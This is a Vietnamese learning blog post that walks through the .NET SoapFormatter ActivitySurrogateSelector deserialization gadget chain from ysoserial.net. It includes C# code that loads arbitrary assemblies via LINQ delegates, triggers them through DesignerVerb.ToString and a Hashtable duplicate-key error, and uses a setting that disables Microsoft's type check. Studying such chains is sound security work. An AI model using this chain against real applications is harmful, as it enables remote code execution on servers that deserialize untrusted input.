[.NET 101] SoapFormatter:ActivitySurrogateSelector
Sau gần một tháng học về JavaDeserialize: học các khái niệm basic, reproduce các commonscollection thì lần này tôi có cơ hội tiếp xúc với .Net deserialize. Nội dung cho newbie là học các kiến thức basic và reproduce các chain kinh điển của .Net deserialize trên 先知社区 (aliyun.com)
Khởi đầu khá thuận lợi với các bài:
Nhìn chung là vì có kiến thức cơ bản từ PHP deserialize và Java deserialize nên ở mức độ 101 này không quá khó với tôi.
Nhưng đời không như mơ, đến với SoapFormatter:ActivitySurrogateSelector tôi đọc và làm trong 3 ngày và vẫn không hiểu được gì 😥😥😥😥. Do đó, tôi quyết định viết lại từng bước, từng câu hỏi và tự tìm hiểu, trả lời. Đây là một trong những phương pháp học của tôi: Ghi ra những điều mình không hiểu và tìm cách giải quyết từng bước một.
Vì là một con gà mới tiếp xúc với .Net deserialize chưa tới 2 tuần, nên nội dung bài blog này khá dài và những kiến thức cơ bản khá nhiều (không giành cho các profesional).
Note:
Để hiểu được chain exploit này, ta cần có một số kiến thức cơ bản nhất định mà tôi sẽ trình bày ở phần I,II,III, IV.
I SoapFormatter
- SoapFormatter tương tự với XmlSerializer, được dùng để tạo xml-based soap data streams.
- Namespace nằm ở: System.Runtime.Serialization.Formatters.Soap
- Assembly ở: System.Runtime.Serialization.Formatters.Soap.dll
- SoapFormatter có thể serialize và deserialize toàn bộ một đồ thị các object (graph of objects) hoặc các objects kết nối với nhau dưới định dạng SOAP.
- SoapFormatter implements IRemotingFormatter, IFormatter interfaces.
- Sự khác biệt giữa SoapFormatter và BinaryFormatter là SoapFormatter không thể serialize một generic type trong khi BinaryFormatter không cần chỉ rõ type của serialized object trong quá trình deserialize.
- Trong bài này tôi sử dụng Visual Studio 2019, lí do vì phiên bản này hỗ trợ 1 extension GoToDnSpy.
II .NET Objects và SOAP Streams
- Chúng ta bắt đầu với đoạn code sau:
|
|
- Khi mới chạy khả năng sẽ bị thiếu thư viện System.Runtime.Serialization.Formatters.Soap.dll nên chương trình không thể thực thi
- Để fix lỗi này, chúng ta cần tìm đến địa chỉ lưu trữ System.Runtime.Serialization.Formatters.Soap.dll rồi import thư viện này vào references.
Một tip ở đây là tìm các dll bằng cách search trên ổ C, sau đó import reference tại địa chỉ đó. Còn cách import thì tôi đã nói trong bài trước.
-
Output như sau:
1 2 3 4 5 6 7 8 9 10 11 12 13
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/ActivitySurrogateSelectorChain%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull"> <age>18</age> <name id="ref-3">Edisc</name> </a1:Person> </SOAP-ENV:Body> </SOAP-ENV:Envelope> ======================================== Edisc 18 hello from SayHello
-
SOAP (Simple Object Access Protocol) là một giao thức truyền thông được sử dụng để trao đổi thông tin giữa các ứng dụng qua mạng. Trong SOAP, namespace (không gian tên) được sử dụng để giới hạn phạm vi của các phần tử trong tin nhắn SOAP.
-
SOAP sử dụng không gian tên (namespace) theo chuẩn xmlns để giới hạn phạm vi namespace, và điều này được phản ánh trong thẻ a1.
Trong output trên, ta thấy rằng các phần tử trong
SOAP-ENV:Envelope
được liên kết với các namespace thông qua các thuộc tínhxmlns.
Ví dụ:- Phần tử
<SOAP-ENV:Envelope>
được liên kết với namespace"http://schemas.xmlsoap.org/soap/envelope/"
thông qua thuộc tínhxmlns:SOAP-ENV
. - Phần tử
<a1:Person>
được liên kết với namespace"http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/SoapDeserialization%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull"
thông qua thuộc tínhxmlns:a1
.
Như vậy, việc sử dụng không gian tên XML (namespace) giúp hạn chế phạm vi của các phần tử trong tin nhắn SOAP và thông tin về namespace này được phản ánh trong thẻ a1.
Điều này quan trọng vì nếu không có việc giới hạn namespace, các phần tử có thể xảy ra xung đột hoặc không rõ ràng trong việc xác định phạm vi và ý nghĩa của chúng. Nhờ vào việc sử dụng không gian tên, ta có thể định rõ và xác định các phần tử trong tin nhắn SOAP theo các namespace cụ thể.
- Phần tử
-
Ngoài ra, SoapFormatter còn implement 2 interfaces: IRemotingFormatter, IFormatter. IFormatter
-
IFormatter còn có một proxy selector
proxy selector là gì?
Trong quá trình deserialize (chuyển đổi từ dữ liệu đã được serialize thành đối tượng) của .NET, “proxy selector” (bộ chọn proxy) là một khái niệm được sử dụng để xác định cách thức chọn loại đối tượng đích để thực hiện quá trình deserialize.
Khi ta thực hiện quá trình deserialize, .NET cần biết cách chọn và xây dựng đúng loại đối tượng mà dữ liệu serialized sẽ được chuyển đổi thành. Đó là lúc “proxy selector” (bộ chọn proxy) đến. Proxy selector định nghĩa cách thức chọn đúng loại đối tượng tương ứng với dữ liệu đã được serialize.
Proxy selector có thể được sử dụng để tùy chỉnh quá trình deserialize bằng cách xác định bộ chọn proxy tùy chỉnh. Bộ chọn proxy tùy chỉnh này sẽ quyết định loại đối tượng cần được xây dựng và sử dụng trong quá trình deserialize dựa trên dữ liệu serialized và các quy tắc xác định sẵn.
Proxy selector giúp .NET xác định loại đối tượng cụ thể để khôi phục dữ liệu serialized thành đối tượng thích hợp. Nó đóng vai trò quan trọng trong việc đảm bảo quá trình deserialize diễn ra đúng cách và dữ liệu được chuyển đổi thành đối tượng đúng.
Để xem được code như trên, ta dùng dnSpy 64bit
TIP: Chúng ta có thể dùng extension GoToDnSpy (dùng cho VS2019 trở đi) thì quá trình trace code sẽ đơn giản hơn nhiều
-
Hãy sửa đổi đoạn code ban đầu của chúng ta một chút :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Soap; using System.Text; namespace SoapDeserialization { [Serializable] class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } //===================================begin new code =================================== sealed class PersonSerializeSurrogate : ISerializationSurrogate { public void GetObjectData(object obj, SerializationInfo info, StreamingContext context) { var p = (Person)obj; info.AddValue("Name", p.Name); } public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { var p = (Person)obj; p.Name = info.GetString("Name"); return p; } } //===================================end new code =================================== class Program { static void Main(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); //=================================== begin new code =================================== var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); soapFormatter.SurrogateSelector = ss; //===================================end new code =================================== Person person = new Person(); person.Age = 18; person.Name = "Edisc"; using (MemoryStream stream = new MemoryStream()) { // serialize soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========================================"); // deserialize stream.Position = 0; Person p = (Person)soapFormatter.Deserialize(stream); Console.WriteLine(p.Name); Console.WriteLine(p.Age); p.SayHello(); } Console.ReadKey(); } } }
- Kết quả chương trình sau khi chạy:
Surrogate là gì?
Trong C#, Surrogate (đại diện) là một khái niệm liên quan đến quá trình tuần tự hóa (serialization) và phục hồi (deserialization) đối tượng.
Khi một đối tượng được tuần tự hóa hoặc phục hồi, Surrogate được sử dụng để đại diện cho đối tượng gốc và điều khiển quá trình tuần tự hóa và phục hồi. Nó cung cấp một cách để tùy chỉnh hoặc thay đổi cách mà một đối tượng được tuần tự hóa hoặc phục hồi.
Surrogate thường được sử dụng trong các trường hợp như:
- Tuần tự hóa các đối tượng không tuân theo giao diện ISerializable.
- Đối tượng có dữ liệu nhạy cảm mà bạn muốn che giấu hoặc không tuần tự hóa.
- Đối tượng có kiểu không tuân theo quy tắc tuần tự hóa mặc định của .NET Framework.
Để sử dụng Surrogate, bạn cần triển khai một lớp SurrogateSelector và ghi đè phương thức GetSurrogate của nó. Phương thức GetSurrogate cho phép bạn xác định Surrogate cụ thể để sử dụng cho một kiểu đối tượng nhất định.
Surrogate giúp bạn kiểm soát quá trình tuần tự hóa và phục hồi, cho phép tùy chỉnh và điều chỉnh quá trình này để đáp ứng nhu cầu cụ thể của ứng dụng của bạn.
-
Khi proxy selector cho class Person được thiết lập cho SoapFormatter, method
GetObjectData
vàSetObjectData
trong classPersonSerializeSurrogate
sẽ được thực thi trong quá trình serialization và deserialization. (Đây là kiến thức cơ bản, bạn có thể xem chi tiết tại đây) -
Do đó, chúng ta thấy, kết quả của
p.Age
được in ra là 0 thay vì 18 như trước đó. Lý do là vì chúng ta đã control quá trình serialize và deserialize của objectp
. Trong classPersonSerializeSurrogate
, chỉ có fieldname
được serialize và deserialize nên kết quả vẫn làEdisc
. Còn giá trị của age là 0 vì đó là giá trị mặc định khi không được deserialize. -
Một tính năng của proxy selector cần lưu ý ở đây là: proxy selector có thể được dùng để serialization và deserialization bất kì class nào kể cả những class không đánh dấu serialized [Serializable]
Quay lại ví dụ ban đầu, khi chúng ta sử dụng proxy selector, class Person implements the serialization interface (notation: [Serializable]
)
Nếu ta xóa đi notation: [Serializable]
. Chương trình vẫn chạy, đây là một tính năng của việc chọn proxy.
- Trong quá trình deserialize, luôn có 1 quá trình xem xét liệu class có thể seralize hay không? Điều này dẫn tới một vấn đề: Một class được serialize nhưng khi deserialize nó không thể deserialize proxy selector được implement bởi chúng ta.
Để hiểu rõ hơn, hãy sửa đổi một chút đoạn code ví dụ ban đầu như sau:
|
|
Kết quả khi chạy chương trình:
Ở đoạn code cũ, chúng ta dùng câu lệnh (dòng 64)
|
|
Câu lệnh này sẽ sử dụng method SetObjectData()
được định nghĩa trong class PersonSerializeSurrogate
của chúng ta. Còn với đoạn code mới, object fmt2
sử dụng native deserialzation
do đó, có lỗi xảy ra.
Lý do là khi parsing object trong deserializaed soap data, nó sẽ gọi method CheckSerializable
đầu tiên để xác định xem liệu Object muốn parse có thể serializable không.
Class Person
trong đoạn mã không thể serialized do không implement interface ISerializable hoặc không có các thuộc tính được đánh dấu [Serializable]. Khi một object được serialize, nó cần đáp ứng một số yêu cầu để đảm bảo quá trình serialize và deserialize object được thực hiện thành công.
Trong trường hợp này, class Person không implemnet ISerializable và không có thuộc tính [Serializable] . Do đó, object Person sẽ cố gắng serialize bằng cách sử dụng SoapFormatter, quá trình này không thành công và gây ra lỗi.
Để giải quyết vấn đề này, ta cần sử dụng class
ActivitySurrogateSelector
.
III ActivitySurrogateSelector
Trong phần trước chúng ta đã biết có tồn tại một vấn đề: Một class được serialize nhưng khi deserialize nó không thể deserialize proxy selector được implement bởi chúng ta. Khi thực thi nó sẽ văng ra lỗi.
Và cuối phần II, tôi đã đề cập vấn đề này có thể giải quyết bằng ActivitySurrogateSelector
Trong phần này tôi sẽ tiến hành debug để hiểu rõ tại sao ActivitySurrogateSelector
có thể giải quyết được.
1. [background] ISerializationSurrogate and SurrogateSelector
-
Với serialization và deserialization trong C#, chúng ta sẽ thấy có lúc dùng
SurrogateSelector
, có lúc thì implementISerializationSurrogate
. Vậy sự khác biệt giữa đúng là gì? -
Với
ISerializationSurrogate
, hãy quay lại ví dụ ở phần trước:- Dễ thấy, class
PersonSerializeSurrogate
của chúng ta implemnet lại interfaceISerializationSurrogate
. Hãy debug với DnSpy64:-
Đầu tiên, chúng ta chạy code để build ra file .exe
-
Load file .exe và các thư viện liên quan vào dnspy64
-
Đặt breakpoint và nhấn F5, tại ô Executable, trỏ đến file .exe mà chúng ta muốn thực thi
-
Thế là debug thôi:
- Èo, DnSpy bảo là nên dùng bản 32bit để chạy. Vậy thì đổi thôi
- Ngon lành!! Vậy debug thôi
-
- Đặt breakpoint tại
soapFormatter.Serialize(stream, person)
- Trace, ta sẽ thấy
System.Runtime.Serialization.Formatters.Soap.WriteObjectInfo.InitSerialize()
được gọi
- Đến dòng 79:
Ta thấy field
m_surrogates
củaSurrogateSelector
có một element làSoapDeserialization.PersonSerializeSurrogate
. Đây là class mà chúng ta implement!!! - Dễ thấy, class
-
Với
SurrogateSelector
proxy selector,hãy chỉnh sửa ví dụ trước đó một tí:Trong ví dụ, dễ thấy đang có lỗi xảy ra ở dòng 59. Lý do là thiếu lib. Để fix lỗi này ta chỉ cần thêm thư viện System.Configuration
- Tương tự với ở trên, ta cũng debug
- Nhìn vào đây, ta thấy
SurrogateSelector
chứaISerializationSurrogate
và tất cả các object của ISerializationSurrogate đều là member của field m_surrogates của SurrogateSelector.
Vậy điều này có nghĩa gì?
Khi chúng ta sử dụng
surrogateSelector.GetSurrogate
, chúng ta implement GetSurrogate method trong SurrogateSelector object. Method GetSurrogate này có thể bị overwrite.
2. ActivitySurrogateSelector
-
Bây giờ, hãy quay lại đoạn code ở phần SurrogateSelector
Ta thấy
fmt2
không sử dụng proxy selector nhưng nó lại có thể deserialize mà không bị lỗiTại sao vậy nhỉ???
-
Cùng debug để hiểu rõ nguyên lý của ActivitySurrogateSelector. Tiếp tục với phần trước đó, ta có surrogateSelector chứa
MySurrogateSelector
- Đặt breakpoint tại
MySurrogateSelector
và tiếp tục, sẽ thấysurrogateSelector.GetSurrogate()
ở dòng 79 sẽ gọiMySurrogateSelector.GetSurrogate()
- Vì class Person không chỉ rõ được thuộc tính
[Serializable]
nên biến flag ở dòng 13 sẽ có giá trịtrue
(vì type.IsSerializable=false). Do đó, nó sẽ vào dòng lệnh 17. Câu lệnh này sẽ trả về 1 instance của ObjectObjectSurrogate
- Quay lại dòng lệnh 79 của
InitSerialize()
. Vì surrogateSelector và this.serializationSurrogate khác null, nên chương trình sẽ vào điều kiện rẽ nhánh 1
- Tiếp tục chương trình, ta thấy dòng lệnh 84 được thực thi
- F11 để đi vào hàm bên trong, ta sẽ thấy nó đi vào hàm
ObjectSurrogate.GetObjectData()
- Tiếp tục đến dòng 155, info set type
ActivitySurrogateSelector.ObjectSurrogate.ObjectSerializedRef
Mặt khác, ta thấy ObjectSerializedRef
là một class có thể serialize được.
Tiếp tục chương trình, ta thấy [this.si](http://this.si)
sẽ có ObjectType là **ObjectSerializedRef
- một class có thể Serialize được.**
Dòng lệnh 86 và tiếp sau đó sẽ làm cho objectWriter trở thành 1 object có thể serialize
- Tiếp tục chương trình
Đến đây, giá trị stm
đã là một serialized object. Do đó, chương trình sẽ tiếp tục mà không bị lỗi
NOTE:
Trong đoạn code có sử dụng câu lệnh:
1
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
Mục đích câu lệnh này là bypass hạn chế khi test trên các framework có version cao với vì Microsoft đã bản pacth từ phiên bản 4.8 trở đi.
Yeah, vậy là chúng ta đã hiểu tại sao ActivitySurrogateSelector thì không bị lỗi: bởi vì khi tới hàm Deserialize()
thì stm đã được chuyển thành dạng serialize rồi.
IV LINQ Knowledge
Để hiểu được ActivitySurrogateSelector attack chain, ta cần biết 1 ít về Linq.
Theo định nghĩa sách giáo khoa thì:
The official definition of Linq is Language Integrated Query (LINQ) is a series of technologies that directly integrate query functions into the C## language. It can be considered that Linq uses Lambda expressions to complete functions similar to SQL syntax.
Để hiểu rõ, ta đi qua ví dụ sau:
|
|
- khi chạy, output sẽ là
và binary sau khi load vào dnspy sẽ được decompile như sau
Trong đoạn code trên, câu lệnh:
|
|
Tôi tinh gọn nó như sau:
|
|
Format để gọi như trên được định nghĩa như sau:
Để vào được định nghĩa như trên, tôi dùng extension GoToDnSpy. Khi ấn
ctrl + click
vào từ khóawhere
(Từ khóaWhere
trong C## là một phương thức được sử dụng trong thư viện LINQ), extension nafy sẽ dùng dnspy decompile code trong thư việnSystem.Linq
(thư viện này hỗ trợ chạy LINQ) và show lên cho chúng ta
nên khi decompile bằng DnSpy. Câu lệnh tương đương với dnspy là
|
|
- Hãy phân tích một cấu trúc khai báo như sau:
|
|
Đây là định nghĩa phương thức, cho biết tên của phương thức (Where
), cách truy cập vào phương thức (public
) và các tham số mà nó mong đợi:
public static
: Điều này cho biết phương thức có thể được truy cập từ bất kỳ đâu trong chương trình và không cần một đối tượng của lớp để gọi phương thức này.IEnumerable<TSource>
: Đây là kiểu dữ liệu trả về của phương thức. Nó cho biết phương thức sẽ trả về một chuỗi các phần tử kiểuTSource
.Where<TSource>
: Đây là một phương thức generic, được chỉ định bởi<TSource>
, có nghĩa là nó có thể hoạt động với bất kỳ kiểu nào được chỉ định bởi người gọi.this IEnumerable<TSource> source
: Đây là tham số đầu tiên có tên làsource
, đại diện cho bộ sưu tập đầu vào mà phépWhere
sẽ được thực hiện. Trong ví dụ,source
đề cập đến một bộ sưu tập các phần tử, chẳng hạn như một danh sách hoặc một mảng.Func<TSource, bool> predicate
: Đây là tham số thứ hai có tên làpredicate
. Đây là một delegate có kiểuFunc<TSource, bool>
, được sử dụng để xử lý bộ sưu tập và trả về bộ sưu tập kết quả sau khi xử lý.
Delegate là gì?
Trong ngôn ngữ lập trình C#, delegate là một kiểu dữ liệu đặc biệt, cho phép chúng ta tạo ra các tham chiếu đến phương thức. Nó giống như một con trỏ hàm trong các ngôn ngữ khác. Delegate có thể được sử dụng để tạo ra các biểu thức hàm (function expressions) và truyền chúng như các tham số cho các phương thức khác.
Quay lại với ví dụ của chúng ta:
|
|
Where()
vàSelect()
là hai phương thức được sử dụng trong LINQ.Where()
thực hiện việc lọc các phần tử trong bộ sưu tập dựa trên một điều kiện được xác định bởi một biểu thức lambda. Trong ví dụ này, biểu thức lambda làs => s.ToLower().Contains('o')
, nghĩa là chỉ giữ lại các phần tử trong bộ sưu tập mà chứa ký tự ‘o’.- Sau khi
Where()
hoàn thành, kết quả là một collection chứa các phần tử đã được lọc. - Tiếp theo,
Select()
thực hiện việc chuyển đổi các phần tử trong collection thành một định dạng khác dựa trên một biểu thức lambda khác. Trong ví dụ này, biểu thức lambda làs => s
, nghĩa là giữ nguyên các phần tử trong bộ sưu tập. - Khi hoàn thành
Select()
, chúng ta có collection cuối cùng, chứa các phần tử đã được lọc và chuyển đổi.
Vì vậy, hai quá trình ủy quyền (Where()
và Select()
) hoạt động lần lượt trên input collectiono, xử lý và truyền các phần tử qua lại giữa các phương thức cho đến khi chúng được lọc và chuyển đổi thành output collection.
- Một điều lưu ý ở đây LINQ là kiểu
delayed execution
|
|
Trong ví dụ trên, q1
là một biến dùng để lưu trữ truy vấn LINQ.
- Tuy nhiên, việc khai báo
q1
chỉ tạo ra một thể hiện của truy vấn, không thực hiện việc xử lý trực tiếp. - Thực tế, việc thực hiện xử lý và trả về kết quả sẽ xảy ra khi chúng ta thực hiện việc chọn (select) trên
q1
. - Khi chúng ta thực hiện việc chọn (select) trên
q1
, truy vấn LINQ sẽ được thực thi và kết quả sẽ được trả về.
Điều này có nghĩa là LINQ thực hiện trì hoãn (delayed execution), tức là việc xử lý truy vấn không xảy ra ngay lập tức khi truy vấn được khai báo, mà sẽ diễn ra chỉ khi kết quả cần được truy xuất (ví dụ: khi chúng ta thực hiện việc chọn - select). Điều này giúp tối ưu hiệu suất của ứng dụng và giảm thiểu việc thực hiện không cần thiết của các truy vấn LINQ. Nghe thì có vẻ khó hiểu, ta hãy nhìn vào bức ảnh này (tôi sưu tầm trên internet)
Đây là tính chất quan trọng mà chúng ta sẽ dùng cho ActivitySurrogateSelector attack chain.
V Attack chain
Trong ysoserial.net, SoapFormatter có nhiều chains. Trong blog này, tôi sẽ trình bày chain: ActivitySurrogateSelector
Yeah, tới đây chúng ta đã biết thêm:
ActivitySurrogateSelector
để select 1 proxy, hỗ trợ deserialize 1 class bất kì (không cần tag[Serializable]
)- Ngôn ngữ LINQ là có một tính chất
delayed execution
Vậy những thứ này giúp ích điều gì?
-
Một chút về Java deserialize:
Ứng dụng RMI trong Java sẽ thực thi Runtime.exec() trong constructor, và thực hiện malicious code sau khi load class
-
Tương tự trong C#:
Nếu chúng ta có thể load một assembly riêng lên, thì việc kích hoạt
constructor()
khi tạo mộtinstance
mới cũng sẽ thực thi malicious code.Nếu chúng ta thay thế delegate trong LINQ, load assembly và tạo một instance bằng cách thay thế delegate, thì malicous code sẽ được thực thi sau khi kích hoạt LINQ.
-
Từ ý tưởng này, Researcher James Forshaw đã thiết kế một chain deserialize như sau
1. IEnumerable to LINQ exploit chaining
-
Chain của James Forshaw như sau:
1 2 3
byte[] -> Assembly.Load(byte[]) -> Assembly Assembly -> Assembly.GetType() -> Type[] Type[] -> Activator.CreateInstance(Type[]) -> object[]
-
Chain trên sử dụng LINQ delegate để gọi các process từ interface IEnumerable
1
public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);
-
Đầu tiên:
byte[] -> Assembly.Load(byte[]) -> Assembly
được implement bởi đoạn code sau, trong đóe1
là một Asembly object.1 2 3
List<byte[]> data = new List<byte[]>(); data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location)); var e1 = data.Select(Assembly.Load);
-
Bước 2:
Assembly -> Assembly.GetType() -> Type[]
được implement thông qua đoạn code sau, trong đó, objecte2
có type là IEnumerable1 2
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly,IEnumerable<Type>>),typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type);
-
Bước 3:
Type[] -> Activator.CreateInstance(Type[]) -> object[]
được hiện hiện thực như sau, trong đóe3
có type là IEnumerable1
var e3 = e2.Select(Activator.CreateInstance);
-
Do đó, chain của James Forshaw được hiện thực bởi đoạn code như sau:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; namespace LinqBasic { internal class Program { public static void Main(string[] args) { // step 1 List<byte[]> data = new List<byte[]>(); data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location)); var e1 = data.Select(Assembly.Load); // step2 Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); // step3 var e3 = e2.Select(Activator.CreateInstance); } } }
-
Ngoài ra,
ExploitClass
tại dòng 17 sẽ được implemnt đơn giản như sau
|
|
-
Perfect, chạy thôi!!!!
- Ủa alo!!!! Calculator đâu??
Sau một hồi suy nghĩ tôi chợt nhớ!
LINQ có tính chất delay execution!
Nghĩa là khi nào được sử dụng nó mới thực thi. Có khi ở bước này, LINQ chưa được sử dụng. Tạm thời cho là vậy và đi tiếp thôi
2. Fom ToString to IEnumerable
-
Nếu các bạn đã đi qua PHP-deserialize thì
__tostring()
là một trong những magic method thông dụng (sau__wakeup(), __destruct()
) được dùng để khai thác lỗ hổng php deserialize. Với chain này trong .Net, James Forshaw cũng lấy ý tưởng như vậy:- Tìm cách trigger ToString() khi deserialize
- Tìm chain từ ToString() gọi đến IEnumerable
-
Cùng xem xét đoạn code sau:
1 2 3 4 5 6 7 8 9 10 11 12
// PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. DesignerVerb verb = new DesignerVerb("XYZ", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
- Trong đoạn code trên,
e3
có kiểu là IEnumerable (biến ở đoạn code ví dụ ở phần V.1) và mục đích của đoạn code này là dùng reflection để set giá trịverb.properties=dict
Tại sao lại như vậy nhỉ???
Đầu tiên, ta đi xem sơ qua cấu trúc của các kiểu dữ kiệu trong đoạn code trên
- PageDataSource
- IDictionary
- DesignerWeb kế thừa MenuCommand
- Trong MenuCommand thì chú ý tới dòng 17
- Từ những dữ kiện trên, tôi đơn giản thành đoạn code như sau:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
public class MenuCommand { private IDictionary properties; // ...other members and methods... } public class DesignerVerb : MenuCommand { private string name; // ...other members and methods... public DesignerVerb(string name, IDictionary properties) { this.name = name; this.properties = properties; } public override string ToString() { // ...implementation... } }
và nhìn lại đoạn code mà chúng ta cần phân tích
1 2 3 4
PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); DesignerVerb verb = new DesignerVerb("XYZ", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
-
Dòng 1 đơn giản là tạo 1 instance
PagedDataSource
vớiDataSource = e3
(e3 là LINQ ở phần V.1) -
Dòng 2 tạo 1 instance của
AggregateDictionary
(là mộtIDictionary
), sử dụng reflection và gán vàodict
và dùng biến pds ở dòng 1 làm tham số có constructor. -
Dòng 3: tạo một DesignerVerb có tên là “XYZ” và không gán giá trị cho
properties
-
Dòng 4: dùng reflection truy cập tới private field
properties
của class MenuCommand. Sau đó, gán giá trịproperties
củaverb
làdict
.Lưu ý:
- verb là instance của
DesignerVerb
DesignerVerb
kế thừaproperties
từMenuCommand
properties
là 1 private trongMenuCommand
⇒ dùng reflection truy cập vào
properties
củaMenuCommand
nhưng set value thì của verb. - verb là instance của
-
Để gọi
ToString()
method thì chỉ cần dùngverb.ToString()
Oke, chạy thử thôi
Gòi gòi đây gòi!! Ca cu lay tờ của tui đây rồi.!!
Có nghĩa đến đây,
ToString()
đã trigger LINQ, ExploitClass được thực thi và calc đã được bật. Đi tiếp thôi. - Trong đoạn code trên,
3. HashTable to ToString
- Chúng ta đã thành công từ việc dùng
ToString()
để trigger LINQ, execute malicious code để popup calc - Phần này chúng ta sẽ giải quyết vấn đề còn lại: Làm sao để trigger
ToString()
trong quá trình deserialize (verb.ToString()
ở cuối phần trước chỉ là dùng để chứng mình ta thành công trong việcToString()
đến execute calc). Và solution ở đây là dùng HashTable
FUN: Thấy HashTable làm tôi nghĩ ngay tới các commonsCollection trong Java Deserialize, HashTable cũng được dùng trong cc7
-
Hãy xem HashTable có gì?
-
Trong
HashTable
có một methodpublic virtual void OnDeserialization(object sender);
Dùng dnspy để xem
Trong quá trình Deserialize, HashTable sẽ rebuild lại tập key và insert.
Trong Insert()
, nếu như key bị duplicated, chương trình deserialize fail, quăng ra lỗi
Block_12:
Và Environment.GetResourceString()
được gọi
|
|
Đoạn code trên dùng reflection để sửa giá trị của buckets field và replace the key là string với verb để 2 key trùng nhau ⇒ hash trùng nhau ⇒ lỗi sẽ trigger ⇒ trigger ToString như phân tích ở trên.
4. System.Windows.Forms.AxHost.State handling
Ở phần trước ta thấy mọi thứ có vẻ hoàn hảo:
- Chúng ta đã tìm được cách trigger ToString() trong quá trình deserialize
- Tìm được chain từ ToString() trigger Linq
- Từ LINQ trigger malicious code.
Bây giờ kết hợp mọi thứ lại và chạy kiểm tra
|
|
Ôi Khoan!! có lỗi ở đây.
Đến thời điểm này tôi cũng không biết vì sao. Tuy nhiên, tôi thấy bộ công cụ nổi tiếng ysoserial.net sử dụng System.Windows.Forms.AxHost.State handling để xử lý phần lỗi xảy ra ở chain này
Cụ thể, khi thêm phần handling của System.Windows.Forms.AxHost.State:
- Khi
enumerator.Name = PropertyBagBinary
, câu lệnh tại dòng7228
được thực thi
- Đến đây thì stream sẽ được deserialize. Đây cũng là endpoint của 1 chain khác
AxHostState attack chain
Nhưng như thế thì liên quan gì đến đoạn code ban đầu của chúng ta? Tại sao không thêm đoạn này thì lại bị lỗi? Điều chúng ta cần đâu phải hàm Deserialize này vì trong đoạn code đã deserialize rồi mà??
Tôi quyết định dùng DNSpy để decode.Chương trình đã vào phần xử lý lỗi khi deserialize Hashtable vì duplicate.
Cứ tiếp tục và thấy
oh, Tôi đã hiểu! Các bạn còn nhớ để trigger ToString()
ta phải làm cho quá trình deserialize của HashTable bị lỗi, nhảy vào exception để trigger ToString() chứ? Exception này là do nó trả về trước khi malicious của chúng ta execute nên đã nhận thông báo lỗi.
Do đó, ysoserial.net sử dụng System.Windows.Forms.AxHost.State để xử lý lỗi này, cụ thể khi bị trigger lỗi, hàm này sẽ xử lý. Trong payload, ta set
khi đó, this.proBag.Read()
được gọi với stream là payload của mình
- Đến đây thì payload sẽ được deserialize 1 lần nữa
- Khúc này khá ảo. Theo như tôi hiểu, lần đầu deserialize thì sẽ bị lỗi, chúng ta thêm System.Windows.Forms.AxHost.State để handle error này
- Khi handle error này, payload của chúng ta được deserialize 1 lần nữa. Mà lần deserialize này do đã add handle exception trước đó rồi, nên error sẽ không bị văng ra và malicious sẽ được execute.
- Full exploit:
|
|
VI Tổng kết
